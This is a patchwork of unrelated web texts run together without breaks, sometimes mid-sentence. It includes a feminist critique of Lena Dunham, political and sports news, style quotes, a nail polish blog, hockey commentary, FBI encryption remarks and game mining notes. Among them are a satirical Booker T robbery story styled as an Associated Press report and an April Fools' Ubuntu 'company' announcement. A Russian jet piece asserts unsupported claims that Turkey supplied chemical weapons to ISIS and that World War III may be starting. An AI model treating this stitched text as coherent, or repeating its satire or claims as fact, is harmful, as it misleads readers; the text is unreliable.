progress entirely. That being said, calling out such comments as those repeatedly made by Dunham in a manner that is educatory and helps build an intersectional narrative is crucial. Doing so does not undermine the good Lena Dunham has done in creating a show that “despite its lack of a serious class and race consciousness… address[es] other feminist issues currently in play, among them body image, abortion, relationships within a social media age, and street harassment” - which in Girls become everyday topics, as Kerensa Cadenas points out. Where we become at fault is when we herald the likes of Lena Dunham as a feminist icon. It tells society that such behaviours are acceptable, and misrepresents and weakens the feminist cause whilst playing into an oppressive system. The dangers that come with having female celebrities like Lena Dunham as the drivers of feminism are two-fold. One, the great majority of these women endorse white feminism, as opposed to an intersectional feminism; Two, these celebrities often engage in what Andi Zeisler coined ‘marketplace feminism’, which does very little to promote real change. White feminism is a form of feminism rooted in the experiences of middle-class white women, whilst failing to address the distinct forms of oppression experienced by women of colour, and women lacking other privileges. This kind of ‘one size fits all’ ideology, assumes that every woman’s experience is like that of an economically-secure, heterosexual, cisgendered, able-bodied white woman. Critical race theorist Kimberlé Crenshaw wrote that the exclusion of black women from feminist theory would require more than their inclusion into existing theory, but a rewriting of the analytical structure. She explains that because the “intersectional experience is greater than the sum of racism and sexism, any analysis that does not take intersectionality into account cannot sufficiently address the particular manner in which black women are subordinated”. We hence cannot separate multiple oppressions, because they are experienced intersectionally. Therefore, arguments that this kind of catch-all feminism is one that unites all women under the same banner - because supposedly they focus on the common ground between women - are wrong. ‘One size fits all’ feminism is erasing, not inclusive; it fails to acknowledge unique issues that disproportionately affect specific groups of women. In doing so, not only does it focus the movement on those who are already most privileged, but keeping issues vague and all-encompassing for the sake of unity, and treating ‘women’ as a homogenous group, means we fail to recognise the need to dismantle other intersectional oppressions. Feminism is not just about putting an end to sexism, it is about dismantling all interconnected systems of oppression that affect women in various ways. Many prominent celebrities like Lena Dunham engage in ideology-as-a-brand, which involves simplifying feminism to perilous extremes to make it as catch-all and appealing as possible, and white feminism is the easiest brand of the movement to sell. This falls hand in hand with the increasing corporate exploitation of feminism highlighted by Andi Zeisler, in which this brand of ‘marketplace feminism’ is depoliticised. This kind of joyous, feel-good style of feminism deals with very superficial, symptomatic issues, without ever undertaking the difficult task of dismantling deeply entrenched systems of inequality. ‘Marketplace feminism’ is about defiant attitudes, clothing choices, catchy slogans, and positive body image. It uses the word ‘empower’ as though inequality can be resolved by the oppressed changing their outlook and behaviour, and ignores the change needed in reforming patriarchal power structures. Zeisler desires that we turn our attention back to systems, not individuals. The idea of the ‘feminist fallacy’, explained and undermined by Marjorie Ferguson, implies that changes in media messages translates into changes for women in the real world, when in reality this isn’t the case. Marketplace feminism does nothing to attempt fundamental, political change, because it is being encouraged by a power system that has every interest in appearing as though it’s changing, whilst really it’s commodifying feminism to its own advantage. Feminism today, due in part to the likes of Lena Dunham, has become an identity to avow, rather than action to be taken. For too many people, the assumption stands that feminism begins and ends with whatever self-proclaimed feminist celebrity is in the spotlight at that moment. Such women are entryways to feminism, but not the movement itself. They can broaden the message of feminism, but too often this focus on beautiful celebrities avoids doing the real, political work of feminism, or causing real change to this culture.White House budget chief Mick Mulvaney John (Mick) Michael MulvaneyOvernight Defense: White House eyes budget maneuver to boost defense spending | Trump heads to Hanoi for second summit with Kim | Former national security officials rebuke Trump on emergency declaration Overnight Health Care — Presented by National Taxpayers Union — Trump, Dems open drug price talks | FDA warns against infusing young people's blood | Facebook under scrutiny over health data | Harris says Medicare for all isn't socialism White House spokeswoman leaving to join PR firm MORE in a Sunday interview dismissed criticism of the Republican tax plan, saying it is not yet complete.
In an interview with CNN’s “State of the Union,” host Jake Tapper asked Mulvaney if he could say how the plan will benefit the wealthiest Americans.
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“No, in fact, I don’t think anybody can. And anybody who says they can is simply lying to you,” Mulvaney said. “Why is that? It’s because the bill is not finished yet.”
Mulvaney emphasized that the plan rolled out last week by President Trump and congressional Republicans is “a framework.”
“I’ve seen the criticism and all I can tell you is that no one can make real detailed analysis of the plan yet because it is not finished,” he said.
Trump ventured to Indiana last week to speak about the plan, which lowers the corporate tax rate and cuts the number of individual tax rates. It also repeals the estate tax and the alternative minimum tax.
“This really is about the middle class and the corporate tax rate for the president,” Mulvaney added in the Sunday interview.UNITED NATIONS (Reuters) - The chief U.N. investigator into human rights cases in North Korea said on Wednesday he has appealed to China to support calls to refer Pyongyang’s actions to The Hague on suspicion of crimes against humanity.
Western diplomats say China, North Korea’s principal protector on the U.N. Security Council, will likely use its veto power there to knock down any attempt to refer North Korea to the International Criminal Court.
But Michael Kirby, a former Australian judge who led the independent U.N. inquiry into human rights abuses in North Korea, told reporters at U.N. headquarters that it was by no means certain China would block an ICC referral.
“I don’t think a veto should be assumed,” Kirby said. “China is a very great power with great responsibilities as a permanent member. Veto is not the way China does international diplomacy. China tends to find another way.”
“We continue to (work) in hopes that China, as a great power, will act as a great power should,” he added.
But Chinese Foreign Ministry spokeswoman Hua Chunying said China did not believe taking the issue to the ICC would help.
“We have always supported dealing with human rights differences through dialogue and cooperation,” Hua told a daily news briefing in Beijing.
“We believe that for the issue of human rights, referring a case to the ICC is not helpful to improving a country’s human rights situation.”
Kirby emphasized that China has only 10 vetoes, the lowest number of any of the five permanent members. That is a fraction of the dozens of times Russia and the United States have vetoed resolutions in the 15-nation council.
‘MOMENT OF TRUTH’
Kirby chaired the U.N. Commission of Inquiry on North Korea, which in February produced a 372-page report.
It detailed wide-ranging abuses, including prison camps, systematic torture, starvation and killings comparable to Nazi-era atrocities. The report’s publication prompted calls among Western states and their allies for punitive action against North Korea.
Speaking later at a meeting of U.N. member states, North Korean delegate Kim Song called Kirby’s report “confrontational” and a “product of political conspiracy of the United States and hostile forces” seeking to overthrow North Korea’s political and social system.
The issue will soon be discussed in the U.N. General Assembly’s Third Committee, which focuses on human rights.
A draft resolution prepared for the Third Committee by the European Union and Japan, seen by Reuters, urges the 193-nation assembly to recommend the referral of North Korea to the ICC for crimes against humanity. North Korea responded by proposing its own draft resolution praising its human rights record.
“The United Nations is about to meet a moment of truth,” Kirby said. “The essential question will be whether the United Nations will stay the course and adhere to making the principle of accountability of great crimes a reality.”
Unlike the Security Council, which can issue legally binding resolutions and enforce compliance by imposing economic sanctions or authorizing military force, the General Assembly’s resolutions are non-binding. But such resolutions can increase political pressure on the countries targeted by them.
There are no vetoes in the General Assembly. The Security Council has referred Sudan’s Darfur region and Libya to the ICC while Russia and China vetoed a Western attempt to refer the war in Syria to the court.Brooklyn state Sen. John Sampson may surrender as soon as this week to face federal charges, including obstruction of justice, in a widening corruption scandal involving Albany legislators, according to two sources familiar with the investigation.
The case against Sampson, a Democrat, is based, in part, on the cooperation of two of his associates, including former state Sen. Shirley Huntley, who secretly recorded his conversations, the sources said.
The other is a Queens businessman, the sources said. Both are cooperating with Eastern District federal prosecutors and the FBI, the sources added.
Attorneys for Sampson did not immediately return calls for comment.
Sampson was first elected in 1996 and represents a swath of southern Brooklyn from East New York to Brownsville and Sheepshead Bay. He has served as chairman of the Senate Ethics and Judiciary committees and had been co-majority leader.
In January, Huntley pleaded guilty in federal court in Brooklyn to stealing almost $90,000 from Parents Information Network, a government-funded nonprofit she ran. The organization was to have assisted parents of children in the New York City school system.
Huntley, 74, last May had agreed to record her colleagues after the FBI told her she had been recorded on wiretaps in fraud and bribery schemes, court documents show. She recorded nine people, including seven elected officials, prosecutors revealed in court documents.
In March, according to court papers, an unnamed state senator asked Huntley, who was still in office and representing the area around Kennedy Airport, if she could use "her official influence" with the Port Authority to help a businessman he knew expand his operations at the airport "in exchange for payment from the businessman."
The state senator was Sampson, the sources said.
Huntley was eventually paid $1,000 by the Queens businessman for interceding with the Port Authority, but the agency did not let the businessman have more space at the airport, the court papers report. The Port Authority operates Kennedy, LaGuardia and Newark Liberty airports.
Huntley is the second Albany legislator recently known to have secretly recorded conversations with colleagues in an effort to aid federal investigators in Manhattan and Brooklyn probing corruption involving state legislators, court records show.
Assemb. Nelson Castro (D-Bronx) resigned last month after admitting that he wore a wire for investigators. As a result of his work, a fellow Bronx Democrat, Assemb. Eric Stevenson, was charged in a bribery scheme.
The U.S. attorney's office in Manhattan last month accused Sen. Malcolm Smith (D-Queens) of bribing Republican leaders in Queens and the Bronx in exchange for getting him into that party's primary for New York City mayor.
With Lauren R. Harrison ___
(c)2013 Newsday
Visit Newsday at www.newsday.comBarcelona is putting together a strategy to bring in Thiago Silva, which looks to be a very complicated operation because neither the directors of PSG nor the team's coach are prepared to lose such an important player. Barcelona knows that the player's pay packet is not an obstacle, even if his salary currently exceeds the team's salary structure.
The problem is whether the clubs can find an agreement, and then whether Sheikh Nasser Al-Khelaifi decides to entertain negotiations with Barcelona. Rosell will need to pull some strings in Qatar, which is Barcelona's main sponsor through the Qatar Foundation, a company controlled by the country's government that also has a hold of PSG.
Once they get round these barriers, it's just a question of setting the price. There is talk of an initial €32 million, although Barcelona will undoubtedly have to cough up quite a bit more if the defender is to become an 'Azulgrana'. With that transfer fee PSG would pay off the initial investment in the player, but the French club would hope to also make some profit from the operation after the Brazilian's stellar season.
On a sporting level, it would be a tough blow for PSG, with the club having also seen Carlo Ancelotti move to Real Madrid in recent days. If Al-Khelaifi's idea is to make PSG one of Europe's big clubs, he can't go around losing his biggest assets right, left and centre. Moreover, Laurent Blanc, the club's new manager, is none too keen on losing Thiago Silva.Pics:Deepika Padukone’s Latest Pictures From Vanity Fair photoshoot
Deepika Padukone is making her name big in Hollywood by each day passing. Even though she has just made her debut early this year with XXX:Return Of The Xander Cage.
Deepika is definitely going on the right path in Hollywood. She recently did a photo shoot for Vanity Fair Uk’s jwellery line. Deepika looked dazzling in all the pictures wearing diamond jwellery pieces.
Vanity Fair Uk praises Deepika with these words,” Here the Indian actress gets starry-eyed when asked to dress up in a sublime selection of blockbuster pieces.Even though much is made of the fact that she’s one of the highest-paid actresses in the world, it doesn’t mean that Bollywood superstar (and Hollywood newcomer) Deepika Padukone is above showing her appreciation for really, really big diamonds. The 31-year-old Bangalore-raised beauty has luminously large eyes, but charmingly she managed to widen them even further as she viewed the rocks we asked her to don for Vanity Fair On Jewellery.”
Take a look at the pictures from the shoot:
Deepika Padukone is currently busy shooting her upcoming movie “Padmavati” based on the story of Maharani Padmini with co-stars Shahid Kapoor and Ranveer Singh.
Share This Post..."Style is knowing who you are, what you want to say, and not giving a damn."
– Gore Vidal, Writer
"A man should look as if he had bought his clothes with intelligence, put them on with care, and then forgotten all about them."
– Hardy Amies, Designer
"Trendy is the last stage before tacky."
– Karl Lagerfeld, Designer
"One pretends to do something, or copy someone or some teacher, until it can be done confidently and easily in what becomes one's own style".
– Cary Grant, Actor
"It is totally impossible to be well-dressed in cheap shoes."
– Hardy Amies, Designer
"Know first who you are, and then adorn yourself accordingly."
– Epictetus, Philosopher
"A good trick as you get older is to get a thick pair of glasses that have a dark frame. Everything else can droop and slide but that pair of dark glasses stays sharp and crisp. Look at Cary Grant. Look at Vidal Sassoon."
– Tom Ford, Designer
"If you're not sure whether it looks good on you, it doesn't."
– Scott Omelianuk, Author of Things A Man Should Know About Style
"If people turn to look at you on the street, you are not well dressed, but either too stiff, too tight, or too fashionable."
– Beau Brummel, Socialite
Ralph Lauren/Getty Images
"I've never wanted to be in fashion. Because if you're in fashion, you're going to be out of fashion."
– Ralph Lauren, Designer
"Style is the answer to everything. A fresh way to approach a dull or dangerous thing. To do a dull thing with style is preferable to doing a dangerous thing without it."
– Charles Bukowski, Writer
"The man who, as is often said, can get away with wearing a trench coat over his dinner jacket, or an old school tie for a belt, is the one who in fact understands best the rules of proper dress and can bend them to suit his own personality and requirements."
– G. Bruce Boyer, Writer
"The boor covers himself, the rich man or the fool adorns himself, and the elegant man gets dressed."
– Honoré de Balzac, Author
"The difference between style and fashion is quality."
– Giorgio Armani, Designer
"When somebody feels comfortable wearing something, they look alright. You go to occasions like weddings and you see people that normally look great dressed up and you think: 'Why have you done that?'"
– Margaret Howell, Designer
"Any man may be in good spirits and good temper when he's well dressed. There ain't much credit in that."
– Charles Dickens, Author
Charles Dickens/Getty Images
Originally published by Esquire UKCLANCY OVERELL | Editor | Contact
HOUSTON, Texas (AP) -Employees of a McDonald’s fast-food restaurant in the Texan suburb of South Houston have today spoken about their relief to see former world wrestling great, Booker “Booker T” Huffman, subdue a lone gunman during an attempted robbery of the outlet on Tuesday evening.
It’s believed Mr Huffman, a former WWE wrestler and current commentator, was a patron of the restaurant with his wife, Sharmell and his three children – when an armed male entered the venue with a ski-mask covering his face and demanded money from staff at the register.
Andrew Torres, an 18-year old employee of the South Houston diner, says it was like he was watching the wrestling as a young boy all over again.
“I mean, Booker was sitting down with his family… You know, being a normal customer – but then this guy came in with a gun and all of a sudden he’s pointing it at my face and telling me he wants money,” says Torres, who was working the front counter at the time of the hold-up.
“It was really scary because the diner was at full capacity… but when the guy in the mask came in, it went completely silent. I was in complete shock – I couldn’t even move my arms,”
“It was a bizarre experience because the gunman wanted money but I was so terrified I couldn’t move – and he knew that… no one else is the diner was doing anything. It was like we were paused in time… Until I heard a familiar voice shouting from the back corner of the diner.”
Torres has said that “Booker T” Huffman had removed his shirt and began shouting his iconic WWE catch-cry “Can you dig it? Sucker?!” before sprinting across the room and performing a signature wrestling manoeuvre on the attempted robber.
The restaurant’s manager, Sara Tampico, says it was a “spectacular” citizen arrest.
“Mr Huffman stood on the table and removed his shirt, before bounding across the restaurant, table to table. He was flying through the air and his ‘locs’ [dreadlocks] were going everywhere. He scissor-kicked the robber and knocked him out cold! He was flying so high in the air that his waist was in line with the gunman’s head,” says Ms Tampico, who despite being very thankful for Booker T’s actions, wasn’t entirely sure who he was at the time.
“After he had immobilised the threat – all of the customers in the restaurant cheered and started dancing. I had never heard of ‘Booker T’ before, but apparently everyone else had. They formed a circle around him and he did some sort of breakdancing move on top of the unconscious gunman,”
“After all that, he sat right back down and finished his Singapore noodles,”
“It really was spectacular. My employees say it was just like on the television – he did his famous “scissor kick” to subdue the gunman and followed it up with what they call “The Spinaroonie” (breakdancing manoeuvre).”
Local police are yet to comment publicly, however they have confirmed that Mr Huffman is helping them with their investigation, while the gunman has been taken into custody. Huffman has stated that he will not be commenting until police enquiries are complete.
Reported by Clancy Overell in Texas, QLD. Margaret Turner contributed to this story at The Associated Press, Washington.SEATTLE (August 21, 2014) – Seattle Reign FC midfielder Kim Little was officially recognized Thursday as the winner of 2014 NWSL Golden Boot, awarded to the player with the most goals during the regular season.
Little, 24, led the league in scoring this season with 16 goals in 23 games while also recording seven assists, which was tied for second in the NWSL – one behind teammate Jess Fishlock.
The Scotland international broke the NWSL single-season scoring record – previously held by FC Kansas City midfielder Lauren Holiday – with the first of two goals in a 4-1 win July 30 against the Houston Dash in Seattle’s 20th game of the year.
The Aberdeen, Scotland native had a goal in six consecutive games from May 10through June 7 and scored against all eight other teams in the NWSL this season, with her five goals against the Dash the most against any single opponent.
Little was voted the Army National Guard Player of the Month three times this season, becoming the first player to earn the award on multiple occasions. See below for a complete log of Little’s goals in the 2014 NWSL season:
Goal Date Opponent Min Assist Result 1 April 13 Boston Breakers 49 None W 3-0 2 April 13 Boston Breakers 54 Jess Fishlock W 3-0 3 April 27 Houston Dash 19 None – PK W 2-0 4 April 27 Houston Dash 38 Bev Goebel W 2-0 5 May 10 Portland Thorns FC 90 Bev Goebel W 1-0 6 May 14 FC Kansas City 20 None – PK W 3-2 7 May 21 FC Kansas City 45 None – PK D 1-1 8 May 25 Western NY Flash 92+ Bev Goebel D 2-2 9 June 1 Sky Blue FC 53 None W 3-1 10 June 7 Chicago Red Stars 65 None – PK W 3-1 11 June 7 Chicago Red Stars 77 None – PK W 3-1 12 July 27 Portland Thorns FC 93+ None W 5-0 13 July 30 Houston Dash 27 Jess Fishlock W 4-1 14 July 30 Houston Dash 78 None W 4-1 15 August 6 Houston Dash 63 None W 4-1 16 August 9 Washington Spirit 89 Megan Rapinoe D 1-1
Reign FC hosts the Washington Spirit on Sunday, August 24 at the Moda Pitch at Memorial Stadium in the semifinals of the 2014 NWSL Playoffs. The match kicks off at 8 p.m (PT) and will be broadcast live on ESPN2.
Visit ReignFC.com or call (855) REIGN-FC for details on NWSL playoff tickets. Seats for Seattle’s NWSL semifinals match start at $24.
#LetItReign
goalWA.net Local Soccer News is sponsored by Pro Roofing Northwest, Kirkland, Bellevue, Seattle, Redmond, Woodinville, Federal Way, Everett, Snohomish, Issaquah, Renton, Kent, Bothell, Edmonds Washington roofing company.
AdvertisementsTARTUS, Syria — Fear has started to spread among the Syrian government’s supporters following the Islamic State’s (IS) victories over regime forces in the northeast of the country, while violent battles against the armed opposition have intensified in the countryside of Hama and Quneitra. Priorities are changing with every turn of the Syrian war. Today, the air raids by the US-led coalition on IS positions in Syria have become a major topic of conversation among regime supporters, as many watch with caution and concern the developments in the ties between the Syrian regime and the Western coalition.
US President Barack Obama and other officials from the member countries of the coalition continue to deny any coordination with the Syrian regime, while stressing that the latter is excluded from any future plans to share influence and interests in the Middle East. At the same time, the Syrian regime’s media outlets state that the regime is a partner in the coalition and is coordinating with the United States, arguing that the international intervention is to its advantage.
The coastal city of Tartus is currently witnessing a lot of activity as locals prepare for Eid al-Adha — the small market there is filled with residents and displaced from various Syrian regions. Everything appears normal, except for the pictures of President Bashar al-Assad with slogans calling for the struggle against the Western conspiracy, and photos of hundreds of victims from the city, which remains one of the most stable and supportive of the regime.
A government employee from Tartus told Al-Monitor, “The US wouldn’t have dared to bombard [positions] inside Syria if it was not coordinating with the regime. Yet, it does not want to announce it to avoid embarrassment, as it has been demanding Assad to step down for three years now, while supporting the armed terrorist groups.”
He added, “How can the US accurately identify positions [inside Syria] to strike if it didn’t have information from the Syrian intelligence services? Would the US have carried out raids without Russian consent? Western countries have recently discovered that there is no alternative for Assad in Syria, but they cannot announce it now.”
In contrast to the confidence with which the government source speaks and which reflects the general loyalty to Assad spread in every corner of the city, others seem to be skeptical about this issue. A school professor residing in Homs, who came to Tartus to spend the holidays away from the battles and car explosions, told Al-Monitor, “The [regime’s] statements are contradictory, and the issue seems to be different this |
, 2016
Support fairness. Subscribe to IA for just $5.With the recent decisions of Canonical to do more upstream development like UnityNext, Mir and UbuntuTouch the
Ubuntu Engineering team took some fundamental decisions to help funding this development.
After a long, heated, team internal discussion it was decided that we no longer want to be a cost factor for
Canonical and that Ubuntu development will be split out into it’s own company under the umbrella of the
Ubuntu Foundation. The new company will be called “Ubuntu Engineering Ltd.” and will be seeking a listing at
worldwide stock markets within the next 5 years.
To make developing Ubuntu a more a more profitable thing for you as a developer and volunteer we worked out a
new upload concept which is just being put into place on launchpad right now.
* Each upload of a source package will be charged to your launchpad account with €0.05 (we picked the Euro here
simply because it is the more stable currency).
* For each successful build on one of the Ubuntu architectures (currently i386, amd64, armhf and powerpc) you
will get refunded with €0.01 per successfully built binary. An FTBFS (build failure) on any of these architectures
will cost €0.02.
* We are still in discussion with the debian project about the chargement for package syncs from debian and are
confident we will come to a conclusion with the DPL very soon (since syncs cost so much more we will likely be
charging slightly more than for a source package upload that goes directly into Ubuntu. Charging costs will likely
be handled inside debian directly)
* The refunds will immediately be turned into stock options at €1.00 per 1% of an Ubuntu Engineering stock or (at
your choice) into 0.5% of an album download from the UbuntuOne Music store.
You may also have heard about the recent decisions of the Ubuntu Technical board to provide a kind of rolling opportunity to follow the development release without being forced to upgrade your sources.list file.
We decided (in reminiscence to the release cycle this decision happened in) to stay with the R naming scheme for this and call the newly created rolling developer release the “Rolling Rouble”. The infrastructure for this will be in place within the next 10 days, if you are an Ubuntu Developer and plan to participate please update your sources.list by end of April 10th to point to “rolling-rouble”.
If you are a bug Triager you won’t be left out! In agreement with the Ubuntu bug control team a similar yet to be fully defined set of features will also be put in place for bug triage. The same goes for blueprints where the refunding concept is already a bit more progressed (an accepted blueprint will cost €5.00, each fulfilled Work Item will be refunded with €0.01 in stock options or (at your choice) into 0.01% of an album download from the UbuntuOne Music store)
We belive this is an excellent business model for you as a developer, bug triager and blueprint creator and look forward to a bright future of Ubuntu development and full pockets for developers employed at Ubuntu Engineering Ltd.
In case you have any unanswered questions we will do our best to leave it like this if you mail our mailing list under: “Ubuntu Engineering Ltd.” ubuntu-april-1st@conanical.com
On behalf of the Ubuntu Engineering team
Sincerely yours, Oliver Grawert
AdvertisementsI added this one to show just how holographic it is. Holo is hard to capture without it being blurry.
I swear my nails are magnets for random pieces of hair... >_<
Found this baby in TJ Maxx for $2.99. Very pleased with it, actually. Came out a little thick, had to redo one of my middle fingers because it didn't look right. (Accidentally got too much, easy to do with this polish.)I had never seen Sation in person until I found some in TJ Maxx. I swatched it over Studio M - Thunderbolt. Will be keeping my eyes peeled for more Sation.My nail polish resolution this year is to only buy polish in person. I always overspend online, heh. I will inevitably fail, but I'd like to keep it going anyway.'!Netflix looks pretty much the same whether you're using it on a phone, tablet, or on the web. And in the world of responsive design, that sounds like a great idea. But in practice, desktop users have drawn the short straw. They need to sit there with their mouse hovering over an arrow to scroll through lists of movies, like animals. If there was a digital manifestation of waiting in line at the DMV, this is it.
Behold greatness
To reiterate the point, the thing that works so well when you're using your finger (like the above photo) is sad and frustrating with a mouse.
Thankfully, developer Renan Cakirerk has fixed this gnawing first world problem with what he calls "god mode." It's a bookmarklet for your browser that blows up all those menus into one simple, scrollable list. Netflix will no longer look so nice and pretty, but it actually ends up being a whole lot more usable. The handy tool will undoubtedly be disabled by Netflix at some point, but for now it's a must-have.
Here's what you get before:
And here's what you get after:
Ahh.
Verge Video: Ways we could optimize computer use in the futureThe pathway to the Stanley Cup for the New York Rangers is not as hard as everybody seems to think. It doesn’t revolve around anybody going off and trading the entire team for younger talent that will somehow gel together and create a great team. At this point in the offseason, in the middle of arbitration, there’s not much that can be done but there are a few moves that I feel could help complement the extremely talented team the Rangers already have, with just a few small additions to the current team.
Signing Jiri Hudler After Buying Out Dan Girardi
First things first, the Rangers do not have six forwards who are definite top six forward caliber players. The free agency pool is very, very watered down at this point but there is one big name free agent who is a good two-way forward with a keen ability to find the back of the net, and that is Jiri Hudler. Hudler is one season removed from a point-per-game season with Calgary, putting up 46 points in 72 games with Florida and Calgary last season. Chances are he won’t command a big contract and he likely won’t want to play for a non-contender at this point. Nobody wants to end their career on a perennial loser. That’s the first reason the Rangers and Hudler would be a perfect marriage.
The boys in blue are a tier two contender at this point. Definitely not a top team in contention like the Penguins or the Capitals, but they’re nowhere near being a top five pick team. This is a team with an immense amount of talent about to hit their prime with players like Stepan, Brassard, Kreider, Hayes, and Miller all likely to be big contributors next year. Now, post-RFA, there may not be much money left to sign Hudler. That being said, there’s a few options of what the Rangers can do.
First things first, buyout Dan Girardi. Next, bury Tanner Glass in the minors. Pick up Hudler after those two moves occur. Hope RFA arbitration contracts are low, or the players going to arbitration sign on a cap hit, and then pick up Hudler.
For scenario number one, and nothing against Tanner Glass, but now with Gerbe and Grabner on the team, his days with the Rangers are likely limited. Glass doesn’t do anything better than them other than be the bulky enforcer on the team, which will likely be given to Dylan McIlrath next season, so Glass has no reason to be manning the fourth line as one of the most useless offensive players in the history of forwards. Girardi’s buyout would command a good chunk of money over the next few years, but it would open up the cap space to sign a legitimate second line left-wing to take the pressure off younger players like Jesper Fast and Pavel Buchnevich.
Scenario number two is a long shot. A pure long shot. Kreider deserves to get paid, as does Miller and Hayes, so the likelihood that they take a smaller contract from the Rangers that isn’t handed to them through arbitration is a ridiculous thought, but it’s an option if GM Jeff Gorton can make them realize what they could have with a few additions to the team.
Signing Sam Gagner
Gagner is a competent fourth line forward who can fill in for Oscar Lindberg while he is recovering from hip surgery. Gagner can get the job done. Gagner had eight seasons straight of 37 or more points in Edmonton or Arizona, and I feel like he could put up big numbers with the always shifty speedsters Nathan Gerbe and Michael Grabner. Along with his offensive talent, he’s a very legitimate replacement for Dominic Moore, with his HERO charts signifying a budding defensive superstar of a center. While HERO charts don’t account for aging, analytics show the future of the game and what a team is likely going to get out of their player, and these HERO charts are wonderful for a player who is floating around free agency with little interest.
(Credit to http://ownthepuck.blogspot.com/)
The simple explanation for these charts is that Gagner has developed into a great defensive player with middle of the line offensive talent, and for a contract likely to be a one year, million dollar deal, he’s worth every penny.
http://gty.im/53121740
Let Jeff Beukeboom Implement Defensive Styling
Jeff Beukeboom was never a really athletic player. He wasn’t a blessed skater. He was, however, one of the best simplistic defensive players to bless Madison Square Garden as a Rangers legend. Beukeboom was constantly throwing his body around and catching up to players much faster than them because of a simple but effective strategy. His strategy was always the same, throughout his career. He went out of his way to be defensively in position. Being constantly paired with offensive minded defensemen throughout his career, Beukeboom knows better than anyone how to teach the younger players how to play shutdown defense while being relevant in the offensive end. If the Rangers defensive strategies are changed to where they play safe hockey for 60 minutes, not allowing breakaways or odd man rushes, they’ll win the majority of the games they play.
Basically, the thinking needs to be that the defensemen without offensive talent do not need to be part of the offensive play other than during the cycling of the puck. McIlrath and Staal don’t necessarily need to be touching the puck and putting it on net. Instead, they need to be in position to where nobody can get an odd-man rush or a breakaway on Hank. Lundqvist is one of the best goalies in the league when he isn’t being left out to dry, and that needs to be exploited as much as possible if the Rangers want a return to the Cup.
If the Rangers really plan to be contending next season, they’ve got to do something. I feel as if this is a best case scenario, but it’s a very possible scenario that could play out if the front office decided it was a good time to add a few fresh faces who could put up big output for the team.James Comey, the agency’s director, says it is gathering information in preparation for ‘adult conversation’ on balancing privacy with need to fight crime
The FBI director, James Comey, has warned again about the bureau’s inability to access digital devices because of encryption and suggested investigators wanted an “adult conversation” with manufacturers.
Widespread encryption built into smartphones was “making more and more of the room that we are charged to investigate dark”, Comey said at a cybersecurity symposium.
The FBI sought a court order to force Apple to help it hack into an iPhone used by one of the San Bernardino, California shooters, a demand Apple said would dramatically weaken security of its products.
The FBI ultimately got into the phone with the help of a third party, concluding the court case but leaving unresolved the underpinning legal questions.
Comey made clear on Tuesday that he expected dialogue to continue.
“The conversation we’ve been trying to have about this has dipped below public consciousness now, and that’s fine,” Comey said at a symposium organised by Symantec, a technology company. “Because what we want to do is collect information this year so that next year we can have an adult conversation in this country.”
The American people, Comey said, had a reasonable expectation of privacy in private spaces — including houses, cars and electronic devices. But that right was not absolute when law enforcement had probable cause to believe a device such as a laptop or smartphone contained evidence of a crime.
“With good reason, the people of the United States — through judges and law enforcement — can invade our private spaces,” Comey said, arguing this “bargain” had been at the centre of the country since its inception.
But he said it was not the role of the FBI or tech companies to tell the American people how to live and govern themselves.
“We need to understand in the FBI, how is this exactly affecting our work, and then share that with folks,” Comey said, conceding the American people might ultimately decide that privacy was more important than “that portion of the room being dark” to the FBI.
The remarks reiterated points that Comey has made repeatedly in the last two years, before Congress and in other settings, about the growing collision between electronic privacy and national security.
The justice department decided within the last year to not seek a legislative resolution to the encryption dilemma and some of the public debate surrounding the FBI’s legal fight with Apple has subsided in the last few months since federal authorities were able to access a locked phone in a terror case without the help of the maker.
With the Associated PressA U.S. official told Reuters that the Russian jet was inside of Syria when it was shot down:
The United States believes that the Russian jet shot down by Turkey on Tuesday was hit inside Syrian airspace after a brief incursion into Turkish airspace, a U.S. official told Reuters, speaking on condition of anonymity.
Russia denies that the Russian fighter jet – which was bombing ISIS – ever entered Turkish air space, and has put out its own map purporting to prove that claim.
The Russian jet pilots who parachutted free of their burning plane were then purportedly killed by Turkish rebels inside Syria. If true, this is a war crime.
Then – when a Russian helicopter tried to save the pilots – it was shot down by American-backed Syrian rebels – using weapons provided to them by the United States – and a Russian marine was killed.
Russia is deploying a warship off the Syrian coast to “destroy any threats to Russian planes”. Many believe this is the start of World War III.
While the U.S. and NATO tried to blame Russia, German Vice-Chancellor Sigmar Gabriel slammed Turkey:
“This incident shows for the first time that we are to dealing with an actor who is unpredictable according to statements from various parts of the region – that is not Russia, that is Turkey,” Gabriel said, as cited by DPA news agency. He added that Turkey was playing “a complicated role” in the Syrian conflict.
Indeed, NATO-member Turkey is MASSIVELY supporting ISIS, provided chemical weapons used in the jihadi’s massacre of civilians, and has been bombing ISIS’ main on-the-ground enemy – Kurdish soldiers – using its air force. And some of the Turkish people are also unsympathetic to the victims of ISIS terrorism.Turkey was also instrumental in the creation of ISIS. An internal Defense Intelligence Agency (DIA) document produced recently shows, the U.S. knew that the actions of “the West, Gulf countries and Turkey” in Syria might create a terrorist group like ISIS and an Islamic CALIPHATE.
As the former DIA head explained:To determine whether all pristine metallics have the same composition or if the quantities of material differ between systems.Based on my own experience and observations I believe there is a small but not insignificant difference in the composition of pristine metallic rings, this has not usually made a huge difference in my mining experience with the exception of GCRV 1568 - whose PPOG was so rare I gave up on the system despite it being on the doorstep of a large and well LYR stocked station that was actually giving me mining missions.This Asp: http://coriolis.io/outfit/asp/04D5A5...?bn=Prospector And many many cups of tea.a. I will fly to a system with a pristine metallic ring and enter the ring at the brightest, innermost striationb. I will prospect 20 random asteroids and record the results of both material type and quantity percentage.c. I will then leave the belt and reenter the same striation and the repeat step b.d. I will repeat steps b-c a total of three times, for three instances of twenty asteroid samples, giving a total of sixty asteroid samples per ring.For full results you may download my spreadsheet containing full sample data, calculations, and summary here:I've also posted the data along several posts on page 2 if you want to look at ugly number walls instead of sexy spreadsheets for some reason. [noob]For you slow people :p: red is worse than average, green is better than average.With that said, it does appear that the data is backing up my own observations, especially in regards to GCRV 1568, which as you can see is just bloody awful.OUM does have a very high count of gold and HIP does have a lot of PPP.The amount of rock each ring contains is on average always ~50% regardless of what system you're in.Rock of course being that invisible thing that stops your fragments adding up to 100%.Whether the instance you're in has a great effect on what you get is very inconclusive - needs a lot more data.Whether your position in the ring matters is not something I tested, so can't even hazard a guess.But to answer the main question?I'd say Yes - yes the system you're in affects what you get - not every PMR is the same as every other PMR. Moving around and scouting out a ring before taking in your mining barge may in fact be a worthwhile endeavor.The reboot, starring Melissa McCarthy and Kristen Wiig, has won over leading female reviewers — but male critics are not as impressed.
If you’re looking for a trustworthy review of the new Ghostbusters, who you gonna call?
